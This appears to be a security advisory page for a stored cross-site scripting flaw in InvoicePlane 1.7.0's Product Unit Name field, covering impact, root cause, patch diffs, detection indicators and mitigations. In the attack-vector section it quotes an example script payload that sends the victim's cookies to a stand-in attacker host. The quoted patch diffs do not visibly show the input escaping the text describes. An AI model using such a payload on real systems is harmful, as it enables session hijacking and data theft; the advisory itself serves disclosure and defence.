CVE-2026-25596: InvoicePlane Stored XSS Vulnerability

CVE-2026-25596 Overview

A Stored Cross-Site Scripting (XSS) vulnerability has been discovered in InvoicePlane, a self-hosted open source application for managing invoices, clients, and payments. The vulnerability exists in version 1.7.0 via the Product Unit Name fields, allowing an authenticated administrator to inject malicious JavaScript code that executes when any administrator views an invoice containing a product with the malicious unit.

Critical Impact

Authenticated administrators can inject persistent malicious scripts that execute in the context of other administrators' sessions, potentially leading to session hijacking, data theft, or unauthorized administrative actions.

Affected Products

• InvoicePlane version 1.7.0
• Self-hosted InvoicePlane installations prior to version 1.7.1

Discovery Timeline

• 2026-02-18 - CVE-2026-25596 published to NVD
• 2026-02-19 - Last updated in NVD database

Technical Details for CVE-2026-25596

Vulnerability Analysis

This Stored XSS vulnerability (CWE-79) affects the Product Unit Name input fields in InvoicePlane's administrative interface. When an administrator creates or modifies a product, the unit name field does not properly sanitize user input before storing it in the database. Subsequently, when this data is rendered on invoice views, the malicious JavaScript payload executes in the browser context of any administrator viewing the invoice.

The attack requires high privileges (administrator access) and user interaction (another administrator must view the affected invoice). However, the scope is changed as the vulnerability can affect resources beyond the vulnerable component's security scope, potentially impacting other administrators' sessions and data.

Root Cause

The vulnerability stems from improper input validation and output encoding in the Product Unit Name fields. InvoicePlane version 1.7.0 failed to properly sanitize or escape user-supplied input when storing product unit names, and subsequently did not encode this data when rendering it in the invoice view templates.

Attack Vector

The attack is network-based and follows this exploitation pattern:

1. An authenticated administrator accesses the product management interface
2. The attacker injects malicious JavaScript payload into the Product Unit Name field (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>)
3. The malicious payload is stored in the database without proper sanitization
4. When any administrator views an invoice containing the affected product, the JavaScript executes in their browser
5. The attacker can steal session cookies, perform actions on behalf of the victim, or inject additional malicious content

The following patch was applied to address the vulnerability:

 
     public function run($config = null, &$data = null)
     {
-        if (is_object($config)) {
-            $this->CI = &$config;
-        }
+        (is_object($config)) && $this->CI = &$config;
 
         return parent::run($data);
     }

Source: GitHub Commit Update

Additionally, the framework dependency was updated:

  * This variable must contain the name of your "system" directory.
  * Set the path if it is not in the same directory as this file.
  */
-$system_path = 'vendor/codeigniter/framework/system';
+$system_path = 'vendor/pocketarc/codeigniter/system';
 
 /*
  *---------------------------------------------------------------

Source: GitHub Commit Update

Detection Methods for CVE-2026-25596

Indicators of Compromise

• Unusual JavaScript code or HTML tags present in Product Unit Name database fields
• Unexpected network requests originating from administrator browsers when viewing invoices
• Product unit names containing characters such as <, >, script, onerror, or onload
• Suspicious entries in web server access logs showing encoded script payloads in product-related requests

Detection Strategies

• Implement Content Security Policy (CSP) headers to detect and block inline script execution attempts
• Deploy web application firewall (WAF) rules to monitor for XSS patterns in form submissions
• Enable database auditing to track modifications to product unit name fields
• Configure browser-based XSS auditor alerts through security headers

Monitoring Recommendations

• Monitor administrative user sessions for unusual activity patterns following invoice views
• Review web application logs for POST requests containing script tags or JavaScript event handlers
• Set up alerts for database entries containing suspicious HTML or JavaScript syntax in product fields
• Track session token usage patterns to detect potential session hijacking attempts

How to Mitigate CVE-2026-25596

Immediate Actions Required

• Upgrade InvoicePlane to version 1.7.1 or later immediately
• Audit existing Product Unit Name database entries for malicious payloads
• Review administrator account activity for signs of compromise
• Invalidate and regenerate all active administrator sessions as a precaution

Patch Information

InvoicePlane has released version 1.7.1 which addresses this vulnerability. The patch implements proper input validation and output encoding for Product Unit Name fields. Administrators should upgrade immediately by following the standard InvoicePlane update procedure.

For detailed patch information, refer to the GitHub Security Advisory GHSA-3wjq-822q-98f4 and the security commit.

Workarounds

• Restrict administrative access to trusted personnel only until the patch is applied
• Implement a Web Application Firewall (WAF) with XSS filtering rules for the InvoicePlane application
• Enable Content Security Policy (CSP) headers to mitigate script execution
• Manually sanitize existing Product Unit Name entries in the database to remove any suspicious content

# Configuration example - Add CSP headers in Apache .htaccess
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
Header set X-XSS-Protection "1; mode=block"
Header set X-Content-Type-Options "nosniff"